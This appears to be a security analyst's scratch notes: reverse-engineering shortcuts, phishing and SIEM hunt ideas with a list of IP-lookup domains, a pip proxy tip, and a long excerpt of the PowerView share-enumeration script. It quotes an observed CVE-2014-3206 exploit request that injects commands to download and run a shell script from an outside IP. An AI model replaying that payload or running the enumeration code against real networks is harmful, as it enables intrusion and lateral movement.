for %%f in (*) do (
c:\users\221602\desktop\neo_apps\strings64.exe -n 8 %%f | findstr github
)
for %%f in (*) do (
c:\users\221602\desktop\neo_apps\strings64.exe -n 8 %%f | findstr github
)
Ascii strings
"highlight the string", press 'a'
Unicode strings
highlight the ascii string, press 'Alt-a', choose unicode
Rename variable
highlight variable, press 'n'
Cross References
highlight the variable, press 'x'
Step
into f7
over f8
run until return ctrl-f7
continue f9
Breakpoint
f2
jump to address
press 'g', enter address
Strings
Shift-f12
comment a line
press ';', enter the comment
proxy #threathunt idea:
where urlpath = '/next.php' and method = 'POST' and referrer is null cred #phishing 9/10/21 Sharepoint Theme sbj: notification 1 new FAX from: mout.kundenserver[.de 212.227.126.134 HTML attachment posts stolen creds to gms4372.nelrg[.com/gfkn/next.phppotential proxy #threathunt idea
Malware IP lookup service #siem detection rule idea
dns request in:
- canireachthe.net
- ipv4.icanhazip.com
- ip.anysrc.net
- edns.ip-api.com
- wtfismyip.com
- checkip.dyndns.org
- api.2ip.ua
- icanhazip.com
- api.ipify.org
- ip-api.com
- checkip.amazonaws.com
- ipecho.net
- ipinfo.io
- ipv4bot.whatismyipaddress.com
- freegeoip.app
imagename not in
- brave.exe
- iexplore.exe
- opera.exe
- firefox.exe
- msedge.exe
- chrome.exe
- vivaldi.exe
CVE-2014-3206 Seagate NAS RCE
Seen August 7th, 2021 exploiting by 155.4.223[.]53
GET /backupmgt/localJob.php?session=fail;cd+/tmp;wget+http://212.192.241.72/lolol.sh;curl+-O+http://212.192.241.72/lolol.sh;sh+lolol.sh
https://www.exploit-db.com/exploits/33159
Sample exploit attempt of
"CVE-2020-7796" -> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7796… "...Potential for SSRF if WebEx zimlet installed and zimlet JSP enabled..." -> https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P7… Vuln Details -> https://github.com/Zimbra/zm-zimlets/commit/def0d6bbcd368eaa0c177935ba4c22e63039d94c… Seen this week from 103.138.125[.]199 #CVE20207796If you're behind a proxy or getting these errors when installing or upgrading python packages or PIP itself
python -m pip install --upgrade pip
WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1123)'))': /simple/pip/
Then try these extra parameters to trust Python sites (only do this if you trust the proxy)
python -m pip install --trusted-host pypi.org --trusted-host files.pythonhosted.org --upgrade pip
Collecting pip
Downloading pip-21.1.2-py3-none-any.whl (1.5 MB)
|████████████████████████████████| 1.5 MB 1.3 MB/s
In windows event logs if you see
TimeGenerated=1622614277 TimeWritten=1622614277
and want the actual time use the .NET/powershell code
[timezone]::CurrentTimeZone.ToLocalTime(([datetime]'1/1/1970').AddSeconds("1622614277"))
Wednesday, June 2, 2021 1:11:17 AM
#sample partial of powerview powershell script (note: must be run on 32bit/x86 powershell)
#https://www.blackhillsinfosec.com/finding-buried-treasure-in-server-message-block-smb/
iex (get-content .\filefinds.ps1 |out-string)
PS C:\> Get-NetComputer –OperatingSystem *2003* | Out-File –Encoding ASCII Windows2003Hosts.txt
PS C:\> Get-NetComputer –OperatingSystem *2008* | Out-File –Encoding ASCII Windows2008Hosts.txt
PS C:\> Get-NetComputer –OperatingSystem *2012* | Out-File –Encoding ASCII Windows2012Hosts.txt
PS C:\> Get-NetComputer –OperatingSystem *2016* | Out-File –Encoding ASCII Windows2016Hosts.txt
PS C:\> Get-NetComputer –OperatingSystem *2019* | Out-File –Encoding ASCII Windows2019Hosts.txt
PS C:\> Get-NetComputer –OperatingSystem *XP* | Out-File –Encoding ASCII WindowsXPHosts.txt
PS C:\> Get-NetComputer –OperatingSystem *7* | Out-File –Encoding ASCII Windows7Hosts.txt
PS C:\> Get-NetComputer –OperatingSystem * 8* | Out-File –Encoding ASCII Windows8Hosts.txt
PS C:\> Get-NetComputer –OperatingSystem *10* | Out-File –Encoding ASCII Windows10Hosts.txt
PS C:\> Invoke-ShareFinder –ComputerFile Windows2003Hosts.txt -NoPing –ExcludeIPC –ExcludePrint –CheckShareAccess | Out-File –Encoding ASCII Windows2003Shares.txt
PS C:\> Invoke-ShareFinder –ComputerFile Windows2008Hosts.txt -NoPing –ExcludeIPC –ExcludePrint –CheckShareAccess | Out-File –Encoding ASCII Windows2008Shares.txt
PS C:\> Invoke-ShareFinder –ComputerFile Windows2012Hosts.txt -NoPing –ExcludeIPC –ExcludePrint –CheckShareAccess | Out-File –Encoding ASCII Windows2012Shares.txt
PS C:\> Invoke-ShareFinder –ComputerFile Windows2016Hosts.txt -NoPing –ExcludeIPC –ExcludePrint –CheckShareAccess | Out-File –Encoding ASCII Windows2016Shares.txt
PS C:\> Invoke-ShareFinder –ComputerFile Windows2019Hosts.txt -NoPing –ExcludeIPC –ExcludePrint –CheckShareAccess | Out-File –Encoding ASCII Windows2019Shares.txt
PS C:\> Invoke-ShareFinder –ComputerFile WindowsXPHosts.txt -NoPing –ExcludeIPC –ExcludePrint –CheckShareAccess | Out-File –Encoding ASCII WindowsXPShares.txt
PS C:\> Invoke-ShareFinder –ComputerFile Windows7Hosts.txt -NoPing –ExcludeIPC –ExcludePrint –CheckShareAccess | Out-File –Encoding ASCII Windows7Shares.txt
PS C:\> Invoke-ShareFinder –ComputerFile Windows8Hosts.txt -NoPing –ExcludeIPC –ExcludePrint –CheckShareAccess | Out-File –Encoding ASCII Windows8Shares.txt
PS C:\> Invoke-ShareFinder –ComputerFile Windows10Hosts.txt -NoPing –ExcludeIPC –ExcludePrint –CheckShareAccess | Out-File –Encoding ASCII Windows10Shares.txt
---------------------
findfiles.ps1
----------------------------
function Get-NetDomain {
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
[String]
$Domain
)
process {
if($Domain) {
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch {
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
$Null
}
}
else {
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
}
}
function Convert-LDAPProperty {
# helper to convert specific LDAP property result fields
param(
[Parameter(Mandatory=$True,ValueFromPipeline=$True)]
[ValidateNotNullOrEmpty()]
$Properties
)
$ObjectProperties = @{}
$Properties.PropertyNames | ForEach-Object {
if (($_ -eq "objectsid") -or ($_ -eq "sidhistory")) {
# convert the SID to a string
$ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0],0)).Value
}
elseif($_ -eq "objectguid") {
# convert the GUID to a string
$ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
}
elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") -or ($_ -eq "lastlogoff") -or ($_ -eq "badPasswordTime") ) {
# convert timestamps
if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
# if we have a System.__ComObject
$Temp = $Properties[$_][0]
[Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
[Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
$ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
}
else {
$ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
}
}
elseif($Properties[$_][0] -is [System.MarshalByRefObject]) {
# convert misc com objects
$Prop = $Properties[$_]
try {
$Temp = $Prop[$_][0]
Write-Verbose $_
[Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
[Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
$ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
}
catch {
$ObjectProperties[$_] = $Prop[$_]
}
}
elseif($Properties[$_].count -eq 1) {
$ObjectProperties[$_] = $Properties[$_][0]
}
else {
$ObjectProperties[$_] = $Properties[$_]
}
}
New-Object -TypeName PSObject -Property $ObjectProperties
}
function Get-NetForest {
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
[String]
$Forest
)
process {
if($Forest) {
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest)
try {
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
}
catch {
Write-Debug "The specified forest $Forest does not exist, could not be contacted, or there isn't an existing trust."
$Null
}
}
else {
# otherwise use the current forest
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
}
if($ForestObject) {
# get the SID of the forest root
$ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value
$Parts = $ForestSid -Split "-"
$ForestSid = $Parts[0..$($Parts.length-2)] -join "-"
$ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid
$ForestObject
}
}
}
function Get-NetForestDomain {
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
[String]
$Forest,
[String]
$Domain
)
process {
if($Domain) {
# try to detect a wild card so we use -like
if($Domain.Contains('*')) {
(Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name -like $Domain}
}
else {
# match the exact domain name if there's not a wildcard
(Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name.ToLower() -eq $Domain.ToLower()}
}
}
else {
# return all domains
$ForestObject = Get-NetForest -Forest $Forest
if($ForestObject) {
$ForestObject.Domains
}
}
}
}
function Get-DomainSearcher {
[CmdletBinding()]
param(
[String]
$Domain,
[String]
$DomainController,
[String]
$ADSpath,
[String]
$ADSprefix,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200
)
if(!$Domain) {
$Domain = (Get-NetDomain).name
}
else {
if(!$DomainController) {
try {
# if there's no -DomainController specified, try to pull the primary DC
# to reflect queries through
$DomainController = ((Get-NetDomain).PdcRoleOwner).Name
}
catch {
throw "Get-DomainSearcher: Error in retrieving PDC for current domain"
}
}
}
$SearchString = "LDAP://"
if($DomainController) {
$SearchString += $DomainController + "/"
}
if($ADSprefix) {
$SearchString += $ADSprefix + ","
}
if($ADSpath) {
if($ADSpath -like "GC://*") {
# if we're searching the global catalog
$DistinguishedName = $AdsPath
$SearchString = ""
}
else {
if($ADSpath -like "LDAP://*") {
$ADSpath = $ADSpath.Substring(7)
}
$DistinguishedName = $ADSpath
}
}
else {
$DistinguishedName = "DC=$($Domain.Replace('.', ',DC='))"
}
$SearchString += $DistinguishedName
Write-Verbose "Get-DomainSearcher search string: $SearchString"
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$Searcher.PageSize = $PageSize
$Searcher
}
function Get-NetComputer {
[CmdletBinding()]
Param (
[Parameter(ValueFromPipeline=$True)]
[Alias('HostName')]
[String]
$ComputerName = '*',
[String]
$SPN,
[String]
$OperatingSystem,
[String]
$ServicePack,
[String]
$Filter,
[Switch]
$Printers,
[Switch]
$Ping,
[Switch]
$FullData,
[String]
$Domain,
[String]
$DomainController,
[String]
$ADSpath,
[Switch]
$Unconstrained,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200
)
begin {
# so this isn't repeated if users are passed on the pipeline
$CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize
}
process {
if ($CompSearcher) {
# if we're checking for unconstrained delegation
if($Unconstrained) {
Write-Verbose "Searching for computers with for unconstrained delegation"
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
}
# set the filters for the seracher if it exists
if($Printers) {
Write-Verbose "Searching for printers"
# $CompSearcher.filter="(&(objectCategory=printQueue)$Filter)"
$Filter += "(objectCategory=printQueue)"
}
if($SPN) {
Write-Verbose "Searching for computers with SPN: $SPN"
$Filter += "(servicePrincipalName=$SPN)"
}
if($OperatingSystem) {
$Filter += "(operatingsystem=$OperatingSystem)"
}
if($ServicePack) {
$Filter += "(operatingsystemservicepack=$ServicePack)"
}
$CompSearcher.filter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)"
try {
$CompSearcher.FindAll() | Where-Object {$_} | ForEach-Object {
$Up = $True
if($Ping) {
# TODO: how can these results be piped to ping for a speedup?
$Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname
}
if($Up) {
# return full data objects
if ($FullData) {
# convert/process the LDAP fields for each result
Convert-LDAPProperty -Properties $_.Properties
}
else {
# otherwise we're just returning the DNS host name
$_.properties.dnshostname
}
}
}
}
catch {
Write-Warning "Error: $_"
}
}
}
}
function Get-NameField {
[CmdletBinding()]
param(
[Parameter(Mandatory=$True,ValueFromPipeline=$True)]
$Object
)
process {
if($Object) {
if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) {
# objects from Get-NetComputer
$Object.dnshostname
}
elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) {
# objects from Get-NetDomainController
$Object.name
}
else {
# strings and catch alls
$Object
}
}
else {
return $Null
}
}
}
function Get-NetShare {
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
[Alias('HostName')]
[String]
$ComputerName = 'localhost'
)
begin {
if ($PSBoundParameters['Debug']) {
$DebugPreference = 'Continue'
}
}
process {
# process multiple host object types from the pipeline
$ComputerName = Get-NameField -Object $ComputerName
# arguments for NetShareEnum
$QueryLevel = 1
$PtrInfo = [IntPtr]::Zero
$EntriesRead = 0
$TotalRead = 0
$ResumeHandle = 0
# get the share information
$Result = $Netapi32::NetShareEnum($ComputerName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
# Locate the offset of the initial intPtr
$Offset = $PtrInfo.ToInt64()
Write-Debug "Get-NetShare result: $Result"
# 0 = success
if (($Result -eq 0) -and ($Offset -gt 0)) {
# Work out how mutch to increment the pointer by finding out the size of the structure
$Increment = $SHARE_INFO_1::GetSize()
# parse all the result structures
for ($i = 0; ($i -lt $EntriesRead); $i++) {
# create a new int ptr at the given offset and cast
# the pointer as our result structure
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
$Info = $NewIntPtr -as $SHARE_INFO_1
# return all the sections of the structure
$Info | Select-Object *
$Offset = $NewIntPtr.ToInt64()
$Offset += $Increment
}
# free up the result buffer
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
}
else
{
switch ($Result) {
(5) {Write-Debug 'The user does not have access to the requested information.'}
(124) {Write-Debug 'The value specified for the level parameter is not valid.'}
(87) {Write-Debug 'The specified parameter is not valid.'}
(234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'}
(8) {Write-Debug 'Insufficient memory is available.'}
(2312) {Write-Debug 'A session does not exist with the computer name.'}
(2351) {Write-Debug 'The computer name is not valid.'}
(2221) {Write-Debug 'Username not found.'}
(53) {Write-Debug 'Hostname could not be found'}
}
}
}
}
function Invoke-ShareFinder {
[CmdletBinding()]
param(
[Parameter(Position=0,ValueFromPipeline=$True)]
[Alias('Hosts')]
[String[]]
$ComputerName,
[ValidateScript({Test-Path -Path $_ })]
[Alias('HostList')]
[String]
$ComputerFile,
[String]
$ComputerFilter,
[String]
$ComputerADSpath,
[Switch]
$ExcludeStandard,
[Switch]
$ExcludePrint,
[Switch]
$ExcludeIPC,
[Switch]
$NoPing,
[Switch]
$CheckShareAccess,
[Switch]
$CheckAdmin,
[UInt32]
$Delay = 0,
[Double]
$Jitter = .3,
[String]
$Domain,
[String]
$DomainController,
[Switch]
$SearchForest,
[ValidateRange(1,100)]
[Int]
$Threads
)
begin {
if ($PSBoundParameters['Debug']) {
$DebugPreference = 'Continue'
}
# random object for delay
$RandNo = New-Object System.Random
Write-Verbose "[*] Running Invoke-ShareFinder with delay of $Delay"
# figure out the shares we want to ignore
[String[]] $ExcludedShares = @('')
if ($ExcludePrint) {
$ExcludedShares = $ExcludedShares + "PRINT$"
}
if ($ExcludeIPC) {
$ExcludedShares = $ExcludedShares + "IPC$"
}
if ($ExcludeStandard) {
$ExcludedShares = @('', "ADMIN$", "IPC$", "C$", "PRINT$")
}
if(!$ComputerName) {
if($Domain) {
$TargetDomains = @($Domain)
}
elseif($SearchForest) {
# get ALL the domains in the forest to search
$TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
}
else {
# use the local domain
$TargetDomains = @( (Get-NetDomain).name )
}
# if we're using a host file list, read the targets in and add them to the target list
if($ComputerFile) {
$ComputerName = Get-Content -Path $ComputerFile
}
else {
[array]$ComputerName = @()
ForEach ($Domain in $TargetDomains) {
Write-Verbose "[*] Querying domain $Domain for hosts"
$ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath
}
}
# remove any null target hosts, uniquify the list and shuffle it
$ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
if($($ComputerName.count) -eq 0) {
throw "No hosts found!"
}
}
# script block that enumerates a server
$HostEnumBlock = {
param($ComputerName, $Ping, $CheckShareAccess, $ExcludedShares, $CheckAdmin)
# optionally check if the server is up first
$Up = $True
if($Ping) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
}
if($Up) {
# get the shares for this host and check what we find
$Shares = Get-NetShare -ComputerName $ComputerName
ForEach ($Share in $Shares) {
Write-Debug "[*] Server share: $Share"
$NetName = $Share.shi1_netname
$Remark = $Share.shi1_remark
$Path = '\\'+$ComputerName+'\'+$NetName
# make sure we get a real share name back
if (($NetName) -and ($NetName.trim() -ne '')) {
# if we're just checking for access to ADMIN$
if($CheckAdmin) {
if($NetName.ToUpper() -eq "ADMIN$") {
try {
$Null = [IO.Directory]::GetFiles($Path)
"\\$ComputerName\$NetName `t- $Remark"
}
catch {
Write-Debug "Error accessing path $Path : $_"
}
}
}
# skip this share if it's in the exclude list
elseif ($ExcludedShares -NotContains $NetName.ToUpper()) {
# see if we want to check access to this share
if($CheckShareAccess) {
# check if the user has access to this path
try {
$Null = [IO.Directory]::GetFiles($Path)
"\\$ComputerName\$NetName `t- $Remark"
}
catch {
Write-Debug "Error accessing path $Path : $_"
}
}
else {
"\\$ComputerName\$NetName `t- $Remark"
}
}
}
}
}
}
}
process {
if($Threads) {
Write-Verbose "Using threading with threads = $Threads"
# if we're using threading, kick off the script block with Invoke-ThreadedFunction
$ScriptParams = @{
'Ping' = $(-not $NoPing)
'CheckShareAccess' = $CheckShareAccess
'ExcludedShares' = $ExcludedShares
'CheckAdmin' = $CheckAdmin
}
# kick off the threaded script block + arguments
Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams
}
else {
if(-not $NoPing -and ($ComputerName.count -ne 1)) {
# ping all hosts in parallel
$Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
$ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
}
Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
$Counter = 0
ForEach ($Computer in $ComputerName) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $CheckShareAccess, $ExcludedShares, $CheckAdmin
}
}
}
}
function func
{
Param
(
[Parameter(Position = 0, Mandatory = $True)]
[String]
$DllName,
[Parameter(Position = 1, Mandatory = $True)]
[String]
$FunctionName,
[Parameter(Position = 2, Mandatory = $True)]
[Type]
$ReturnType,
[Parameter(Position = 3)]
[Type[]]
$ParameterTypes,
[Parameter(Position = 4)]
[Runtime.InteropServices.CallingConvention]
$NativeCallingConvention,
[Parameter(Position = 5)]
[Runtime.InteropServices.CharSet]
$Charset,
[Switch]
$SetLastError
)
$Properties = @{
DllName = $DllName
FunctionName = $FunctionName
ReturnType = $ReturnType
}
if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
if ($Charset) { $Properties['Charset'] = $Charset }
if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
New-Object PSObject -Property $Properties
}
function psenum
{
[OutputType([Type])]
Param
(
[Parameter(Position = 0, Mandatory = $True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
$Module,
[Parameter(Position = 1, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$FullName,
[Parameter(Position = 2, Mandatory = $True)]
[Type]
$Type,
[Parameter(Position = 3, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Hashtable]
$EnumElements,
[Switch]
$Bitfield
)
if ($Module -is [Reflection.Assembly])
{
$k = ($Module.GetType($FullName))
return $k
}
$EnumType = $Type -as [Type]
$EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)
if ($Bitfield)
{
$FlagsConstructor = [FlagsAttribute].GetConstructor(@())
$FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
$EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
}
ForEach ($Key in $EnumElements.Keys)
{
# Apply the specified enum type to each element
$Null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
}
$EnumBuilder.CreateType()
}
# A helper function used to reduce typing while defining struct
# fields.
function field
{
Param
(
[Parameter(Position = 0, Mandatory = $True)]
[UInt16]
$Position,
[Parameter(Position = 1, Mandatory = $True)]
[Type]
$Type,
[Parameter(Position = 2)]
[UInt16]
$Offset,
[Object[]]
$MarshalAs
)
@{
Position = $Position
Type = $Type -as [Type]
Offset = $Offset
MarshalAs = $MarshalAs
}
}
function struct
{
[OutputType([Type])]
Param
(
[Parameter(Position = 1, Mandatory = $True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
$Module,
[Parameter(Position = 2, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$FullName,
[Parameter(Position = 3, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Hashtable]
$StructFields,
[Reflection.Emit.PackingSize]
$PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
[Switch]
$ExplicitLayout
)
if ($Module -is [Reflection.Assembly])
{
return ($Module.GetType($FullName))
}
[Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
Class,
Public,
Sealed,
BeforeFieldInit'
if ($ExplicitLayout)
{
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
}
else
{
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
}
$StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
$ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
$SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
$Fields = New-Object Hashtable[]($StructFields.Count)
# Sort each field according to the orders specified
# Unfortunately, PSv2 doesn't have the luxury of the
# hashtable [Ordered] accelerator.
ForEach ($Field in $StructFields.Keys)
{
$Index = $StructFields[$Field]['Position']
$Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
}
ForEach ($Field in $Fields)
{
$FieldName = $Field['FieldName']
$FieldProp = $Field['Properties']
$Offset = $FieldProp['Offset']
$Type = $FieldProp['Type']
$MarshalAs = $FieldProp['MarshalAs']
$NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
if ($MarshalAs)
{
$UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
if ($MarshalAs[1])
{
$Size = $MarshalAs[1]
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
$UnmanagedType, $SizeConst, @($Size))
}
else
{
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
}
$NewField.SetCustomAttribute($AttribBuilder)
}
if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
}
# Make the struct aware of its own size.
# No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
$SizeMethod = $StructBuilder.DefineMethod('GetSize',
'Public, Static',
[Int],
[Type[]] @())
$ILGenerator = $SizeMethod.GetILGenerator()
# Thanks for the help, Jason Shirk!
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
[Type].GetMethod('GetTypeFromHandle'))
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
[Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
# Allow for explicit casting from an IntPtr
# No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
$ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
'PrivateScope, Public, Static, HideBySig, SpecialName',
$StructBuilder,
[Type[]] @([IntPtr]))
$ILGenerator2 = $ImplicitConverter.GetILGenerator()
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
[Type].GetMethod('GetTypeFromHandle'))
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
[Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
$StructBuilder.CreateType()
}
function Add-Win32Type
{
[OutputType([Hashtable])]
Param(
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[String]
$DllName,
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[String]
$FunctionName,
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[Type]
$ReturnType,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[Type[]]
$ParameterTypes,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[Runtime.InteropServices.CallingConvention]
$NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[Runtime.InteropServices.CharSet]
$Charset = [Runtime.InteropServices.CharSet]::Auto,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[Switch]
$SetLastError,
[Parameter(Mandatory = $True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
$Module,
[ValidateNotNull()]
[String]
$Namespace = ''
)
BEGIN
{
$TypeHash = @{}
}
PROCESS
{
if ($Module -is [Reflection.Assembly])
{
if ($Namespace)
{
$TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
}
else
{
$TypeHash[$DllName] = $Module.GetType($DllName)
}
}
else
{
# Define one type for each DLL
if (!$TypeHash.ContainsKey($DllName))
{
if ($Namespace)
{
$TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
}
else
{
$TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
}
}
$Method = $TypeHash[$DllName].DefineMethod(
$FunctionName,
'Public,Static,PinvokeImpl',
$ReturnType,
$ParameterTypes)
# Make each ByRef parameter an Out parameter
$i = 1
ForEach($Parameter in $ParameterTypes)
{
if ($Parameter.IsByRef)
{
[void] $Method.DefineParameter($i, 'Out', $Null)
}
$i++
}
$DllImport = [Runtime.InteropServices.DllImportAttribute]
$SetLastErrorField = $DllImport.GetField('SetLastError')
$CallingConventionField = $DllImport.GetField('CallingConvention')
$CharsetField = $DllImport.GetField('CharSet')
if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
# Equivalent to C# version of [DllImport(DllName)]
$Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
$DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
$DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
[Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField),
[Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset)))
$Method.SetCustomAttribute($DllImportAttribute)
}
}
END
{
if ($Module -is [Reflection.Assembly])
{
return $TypeHash
}
$ReturnTypes = @{}
ForEach ($Key in $TypeHash.Keys)
{
$Type = $TypeHash[$Key].CreateType()
$ReturnTypes[$Key] = $Type
}
return $ReturnTypes
}
}
function New-InMemoryModule
{
Param
(
[Parameter(Position = 0)]
[ValidateNotNullOrEmpty()]
[String]
$ModuleName = [Guid]::NewGuid().ToString()
)
$LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies()
ForEach ($Assembly in $LoadedAssemblies) {
if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
return $Assembly
}
}
